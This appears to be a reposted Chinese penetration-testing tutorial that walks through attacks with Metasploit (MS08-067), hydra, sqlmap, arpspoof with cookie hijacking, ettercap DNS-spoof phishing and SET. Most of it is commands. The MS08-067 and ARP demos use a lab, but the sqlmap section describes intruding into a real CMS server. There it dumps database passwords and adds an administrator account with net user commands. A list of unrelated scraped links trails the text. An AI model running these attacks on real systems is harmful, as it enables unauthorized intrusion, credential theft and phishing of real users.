• Metasploit Framework
  • rdesktop  + hydra
  • Sqlmap
  • Arpspoof
  • tcpdump + ferret + hamster
  • Ettercap
  • SET

Metasploit Framework

Metasploit是一款开源的安全漏洞检测工具,Metasploit Framework (MSF) 在2003年以开放源码方式发布,是可以自由获取的开发框架。它是一个强大的开源平台,供开发,测试和使用恶意代码,这个环境为渗透测试、shellcode 编写和漏洞研究提供了一个可靠平台。这种可以扩展的模型将负载控制(payload)、编码器(encode)、无操作生成器(nops)和漏洞整合在一起,使 Metasploit Framework 成为一种研究高危漏洞的途径。它集成了各平台上常见的溢出漏洞和流行的 shellcode ,并且不断更新。

概要:MSF架构、组件

实例演示:入侵Windows XP SP3 (ms08_067)

MSF架构

Metasploit Framework并不止具有exploit(溢出)收集功能,它使你专注于创建自己的溢出模块或者二次开发。很少的一部分用汇编和C语言实现,其余均由ruby实现。总体架构:

TOOLS          集成了各种实用工具,多数为收集的其它软件

PLUGINS      各种插件,多数为收集的其它软件。直接调用其API,但只能在console工作。

MODULES    目前的Metasploit Framework 的各个模块

MSF core      表示Metasploit Framework core 提供基本的API,并且定义了MSF的框架。

并将各个子系统集成在一起。组织比较散乱,不建议更改。

MSF Base     提供了一些扩展的、易用的API以供调用,允许更改

Rex LIBRARIES        Metasploit Framework中所包含的各种库,是类、方法和模块的集合

CLI            表示命令行界面

GUI            图形用户界面

Console        控制台用户界面

Web            网页界面,目前已不再支持

Exploits        定义实现了一些溢出模块,不含payload的话是一个Aux

Payload        由一些可动态运行在远程主机上的代码组成

Nops        用以产生缓冲区填充的非操作性指令

Aux            一些辅助模块,用以实现辅助攻击,如端口扫描工具

Encoders        重新进行编码,用以实现反检测功能等

进入msfconsole后可配置数据库来更方便更快速的查询各种模块

首先启动postgresql

sudo  systemctl start postgresql

切换到postgresql

su postgres

创建一个postgresql数据库账户

create user root –P

接着,会提示输入密码,然后确认密码

创建数据库

createdb --owner=root nexp_db

owner参数指定数据库的所有者,后一个参数为数据库名称

然后退出进入MSF连接数据库

db_connect root:toor@localhost/nexp_db

连接成功后会提示:

[-] postgresql already connected to msf[-] Run db_disconnect first if you wish to connect to a different database

msfconsole支持系统所有命令,在终端中输入help可以查看“Core Commands”、“Database Backend Commands”、“Exploit Commands”

MSF集成的几种漏洞扫描组件

Nmap

Nmap适用于Winodws、Linux、Mac等操作系统。它用于主机发现、端口发现或枚举、服务发现,检测操作系统、硬件地址、软件版本以及脆弱性的漏洞。Metasploit Framework平台集成了Nmap组件。通常在对目标系统发起攻击之前需要进行一些必要的信息收集,如获取网络中的活动主机、主机开放的端口等。

Nessus

Nessus是当前使用最广泛的漏洞扫描工具之一。Nessus采用client/sever模式,服务器端负责进行安全检查,客户端用来配置管理服务器端。在服务端还采用了plug-in的体系,允许用户加入执行特定功能的插件,这插件可以进行更快速和更复杂的安全检查。

nmap进行端口扫描

nmap -sS -v www.hdu.edu.cn -oX Desktop/out.xml

通过db_import命令导入已保存的扫描结果

db_import Desktop/out.xml

使用hosts命令查看包含在XML格式的扫描结果中的对象

使用services命令详细查看下列开放端口的相关服务信息

使用notes命令按扫描结果显示的端口导出详细信息

实例演示MSF入侵WinXP(ms_08067)

环境:

Windows XP SP3

IP:172.16.211.129

Kali Linux

IP:172.16.211.128

实验原理

漏洞名称:Windows Server服务RPC请求缓冲区溢出漏洞(MS08-067)

此安全更新解决了服务器服务中一个秘密报告的漏洞。如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。 在 Microsoft Windows 2000、Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码。 此漏洞可能用于进行蠕虫攻击。 防火墙最佳做法和标准的默认防火墙配置有助于保护网络资源免受从企业外部发起的攻击。

实验过程

在msfconsole使用search命令搜索MS08067漏洞攻击程序

从结果中得到

Name : exploit/windows/smb/ms08_067_netapi

Disclosure Date:2008-10-28

Rank:great

Description:MS08-067 Microsoft Server Service Relative Path Stack Corruption

使用use命令调用MS08067漏洞攻击程序

use exploit/windows/smb/ms08_067_netapi

使用show options 命令查看需要设置的选项

从图中可以看到还需设置RHOST(目标地址)、Exploit target(攻击目标)

使用 set 命令设置 Module Options,此处需要设置目标IP

即 set RHOST 172.16.211.129

使用 set 命令设置后,可再使用show options 命令查看设置情况

从中可以看出目标IP已经设置好

接着设置Exploit target,使用show targets 查看可选项

可以看出以下版本的系统均存在此漏洞

因为实例演示的XP系统为WinXP SP3 简体中文版,即

使用set target 命令设置目标,此处即为set target 34

此时再用show options 可以看到全部设置完成,接着使用exploit 或者 run 进行攻击

执行exploit命令后得到一个meterpreter

在meterpreter中输入shell即可进入CMD窗口

接着即可执行CMD命令,例如打开RDP服务

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

使用netstat -an命令查看端口是否开放,从图中可以看到已经开放

接着使用net user命令查看XP系统中的用户

可以看到存在一个用户为sysorem

然后针对指定用户比如这里的sysorem用户进行登录密码爆破

hydra 172.16.211.129 rdp -l sysorem -P Desktop/pass.txt

使用hydra爆破密码得:12345接着就能直接登录XP进行远程控制

rdesktop -a 32 -u sysorem -p 12345 172.16.211.129:3389

SQLmap

sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。采用五种独特的SQL注入技术,分别是:

1)基于布尔的盲注,即可以根据返回页面判断条件真假的注入。

2)基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

3)基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

4)联合查询注入,可以使用union的情况下的注入。

5)堆查询注入,可以同时执行多条语句的执行时的注入。

概要:常用语法简单介绍

实例演示:实例演示通过一个注入点入侵一台服务器

常用语法介绍

获取当前用户名称

sqlmap -u "http://url/news?id=1" --current-user 

获取当前数据库名称

sqlmap -u "http://www.xxoo.com/news?id=1" —current-db

列表名

sqlmap -u "http://www.xxoo.com/news?id=1" --tables -D “db_name”

列字段

sqlmap -u "http://url/news?id=1" --columns -T "tablename" users-D "db_name" -v 0 #

获取字段内容

sqlmap -u "http://url/news?id=1" --dump -C "column_name" -T "table_name" -D "db_name" -v 0

实例演示通过一个注入点入侵一台服务器

目标网站:某CMS

测试是否存在注入

sqlmap -u "http://xxx/newsInfo.php?news_id=1&classsn=8001" --level 2

Payload

news_id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b766271,0x5a794e4d4a626f5857704c4959506c49507a58666b4c44717864664b596d586d797059515752464d,0x716a786b71),NULL,NULL-- PHML&classsn=9003

查询数据库所属用户,返回ht_zhengke20%

sqlmap -u “http://xxx/newsInfo.php?news_id=1&classsn=8001” --current-user

查询是否是管理员账户,返回true

sqlmap -u “http://xxx/newsInfo.php?news_id=1&classsn=8001”  --is-dba 

列数据库

sqlmap -u “http://xxx/newsInfo.php?news_id=1&classsn=8001” --dbs

列数据库用户

sqlmap -u “http://xxx/newsInfo.php?news_id=1&classsn=8001” --users

列数据库用户密码

sqlmap -u “http://xxx/newsInfo.php?news_id=1&classsn=8001” --passwords

得到ht_zhengke2用户的明文密码为ht_zhengke2

nmap扫描发现开放3389端口

进入sql shell

sqlmap -u “http://xxx/newsInfo.php?news_id=1&classsn=8001” --sql-shell

在sqlshell中添加一个用户并提升到管理员

net user root 12345 /add net localgroup administrators root /add

使用新添加的用户远程登录服务器

Arpspoof

由于局域网的网络流通不是根据IP地址进行,而是根据MAC地址进行传输。所以,MAC地址在A上被伪造成一个不存在的MAC地址,这样就会导致网络不通,A不能Ping通C。这就是一个简单的ARP欺骗,利用的是ARP协议的漏洞。往往在内网渗透中,可配合其他工具用于网络嗅探、流量劫持等作用。

实例应用:

ARP欺骗攻击及会话劫持

ARP断网攻击

命令结构:

arpspoof [-i interface] [-t target] host

-i  表示网卡,-t 表示目标

ARP欺骗攻击

Windows XP SP3

IP:172.16.211.129

Kali Linux

IP:172.16.211.128

网关

IP:172.16.211.2

开启IP转发(可使用cat查看是否设置成功)

echo 1 >> /proc/sys/net/ipv4/ip_forward

重定向受害者的流量传送给攻击者

arpspoof   -i   eth0   -t  172.16.211.129   172.16.211.2

tcpdump抓包(使用wireshark也可以)

因为网关具有路由功能,因此只要监听本地网卡流量就能得到目标主机的流量。

简单用法: tcpdump -w cookie.cap  #抓取所有流量写入cookie.cap

进行一段时间的欺骗,期间可以随便浏览些网页,聊天之类的,比如现在访问数字杭电,一段时间后停止欺骗、停止抓包,并配合使用ferret处理抓取的流量。

简单用法: ferret -r cookie.cap  #处理抓取的流量

hamster

确保处理后的cookie.cap在root用户根目录后,运行hamster

接着根据提示设置浏览器代理

Kali 自带的Firefox浏览器设置代理如图

设置好代理后浏览器中访问hamster或http://127.0.0.1:1234

点击左侧链接,已经成功劫持cookie,实现访问

ARP断网攻击

关闭本地IP转发,当来自网关的流量到达本机时,目标机器无法获得来自网关的数据,从而“断网”

arpspoof   -i   eth0   172.16.211.1   172.16.211.128

ettercap

ettercap是一个强大的欺骗工具,能够让测试人员以极快的速度创建和发送伪造的包、从网络适配器到应用软件各种级别的包、绑定监听数据到一个本地端口等。是中间人攻击中常用到的辅助工具。

不过多介绍,有兴趣的小伙伴可以自行了解下

实例演示:MIMT之DNS欺骗(钓鱼)

配置dns(/etc/ettercap/etter.dns)     172.16.211.128为本机在局域网地址

开启本地web服务

直接访问会返回apache默认页面

使用命令ettercap -G 启动ettercap,并选择Unifind sniffing进行网卡配置

接着扫描存活的主机,扫描完毕点击下图的Hosts list

将网关地址添加到 target1,将攻击目标添加到  target2

接着设置中间人攻击的形式为ARP欺骗,并设置双向欺骗

接着启用dns_spoof插件

接着开始DNS欺骗

然后在目标主机上浏览www.hdu.edu.cn 时就能达到欺骗的效果

DNS欺骗在内网渗透中往往用于获取管理员信息、钓鱼等。例如可以伪造内网路由器管理页面,欺骗用户在管理页面输入真实账号密码等。

SET

SET是利用社会工程学理论的工具集。它与metasploit连接,自动构建可应用于社会工程学技术的微软最新楼漏洞、Adobe PDF漏洞、Java Applet漏洞等多种环境。它不仅使用方便,而且还能巧妙地瞒过普通用户的眼睛。因此,也是极其危险的工具。

在shell中输入setoolkit启动SET,它可进行社工、渗透等测试,此处选1即社工

选择连接方式为4,创建一个payload和listener

因为用于演示的系统为WinXP 32bit,因此选择连接方式为2

接着设置本机IP和端口(此处端口设置为4445,避免冲突即可)

接着SET将启动MSF并通过以上设置的payloads后,当用户被诱导并逆向连接本机4445端口时,将会得到一个meterpreter,得到meterpreter后,可输入?查看可用命令

例如screenshot截屏

http://www.freebuf.com/sectool/109955.html

查找代理工具,发现一篇火星文相关推荐

  1. 天涯煮酒又发现一篇好文,王阳明传,序就很漂亮,转一下

    回首向来萧瑟处,归去,也无风雨也无晴. --写在前面的话 王阳明先生是我在明清两史中最佩服的奇才. 王守仁(公元1472-1528年),字伯安,号阳明.浙江余姚人.因被贬贵州时曾居住于阳明洞,世称阳明 ...

  2. python3GUI--多功能火星文转化器(附源码)

    文章目录 一.准备工作 二.预览 1.文本转化 2.签名推荐 3.签名类型选择 4.复制个性签名 三.设计流程 1.文本转化流程 2.签名推荐流程 四.源代码 1.HXW_GUI.py 2.get_s ...

  3. ➢ 微信公众号运营教程(三)熟悉一些实用的工具 编写第一篇公众号推文

    ➢ 微信公众号运营教程(三) 熟悉一些实用的工具 & 编写第一篇公众号推文 实用的一些工具 ①浏览器:Google Chrome谷歌浏览器 ②图片素材 首先,我们编写文章的时候,需要一些配图, ...

  4. 在线火星文转换器工具

    在线火星文转换器工具 在线火星文转换器工具 火星文(火星文:焱暒妏),趣味地意指地球人看不懂的文字,由符号.繁体字.日文.韩文.冷僻字或汉字拆分后的部分等非正规化文字符号组合而成. https://t ...

  5. 在线火星文转简体中文工具

    在线火星文转简体中文工具 在线火星文转简体中文工具 火星文(火星文:焱暒妏),趣味地意指地球人看不懂的文字,由符号.繁体字.日文.韩文.冷僻字或汉字拆分后的部分等非正规化文字符号组合而成. https ...

  6. 很精彩的一篇传道文 (寻找罗素的三激情时发现的)

    很精彩的一篇传道文,父传女道. http://blog.sina.com.cn/s/blog_4cd081e901017heq.html 爸爸: 读了你的<罗丹的启迪>,我真的受到启迪了. ...

  7. 内网渗透-代理篇(reGeorg+Proxifier代理工具)

    声明:贝塔安全实验室公众号大部分文章来自团队核心成员和知识星球成员,少部分文章经过原作者授权和其它公众号白名单转载.未经授权,严禁转载,如需转载,请联系开白!请勿利用文章内的相关技术从事非法测试,如因 ...

  8. 只服这篇“神文”:基于老子哲学、相对论的超级人工智能模型

    作者 | Anonymous authors 译者 | TroyChang 出品 | AI科技大本营(ID:rgznai100) 在此前我们为大家介绍 ICLR 2020 论文投稿情况时,提到了一篇& ...

  9. SpringCloud核心教程 | 第四篇:服务注册与发现 Consul篇

    Spring Cloud简介 Spring Cloud是一个基于Spring Boot实现的云应用开发工具,它为基于JVM的云应用开发中涉及的配置管理.服务发现.断路器.智能路由.微代理.控制总线.全 ...

最新文章

  1. vivox3android系统,vivo X3手机系统是什么 vivo X3手机能升级安卓4.3
  2. python list排序_python里对list中的整数求平均并排序
  3. 我做了一个 Istio Workshop,这是第一讲介绍
  4. 增压的jstack:如何以100mph的速度调试服务器
  5. 知乎大V推荐!面试官6个灵魂拷问,原理+实战+视频+源码
  6. 【DAY8】关于多线程的练习
  7. 开源阅读书源_【阅读】一款开源的强大的看书软件!amp;超多书源。
  8. 爬虫小程序 - 翻译君
  9. Xposed模拟位置
  10. Virtualbox虚拟机Ubuntu联网
  11. 内存spd规范_CL14真香,聊聊内存条时序到底是什么?
  12. sql小技巧之case when
  13. 各种音视频编解码学习详解之 编解码学习笔记(九):QuickTime系列
  14. 贪吃蛇java游戏代码_java实现贪吃蛇游戏代码(附完整源码)
  15. Js根据域名判断显示不同内容
  16. PHP日活10万,小程序日活超4亿,近10万商家开通直播,私域红利已来 !
  17. [Web安全]信息收集
  18. vscode中tab键无效怎么办
  19. FSM(Finite State Machine,有限状态机)设计
  20. python 导航框 | 哔哩哔哩推荐100万收藏的导航网页

热门文章

  1. linux chown 将root改变所有者为admin,Linux用户管理 权限管理 内存管理 网络管理命令 (第四天)...
  2. 报文捕获分析工具Wireshark简介
  3. OpenCV直方图正规化(归一化)
  4. 华清远见——(JAVA高级阶段技术总结)
  5. 路径里的正斜杠和反斜杠 区别
  6. 05-如何全部清除redis缓存数据库中的缓存数据
  7. C语言数据结构【手抄版】第三章 栈和队列
  8. Java+Jsoup: 爬取二次元妹子图片并下载到本地(完整代码)
  9. MyEclipse简介及应用
  10. 90后的女孩最高境界……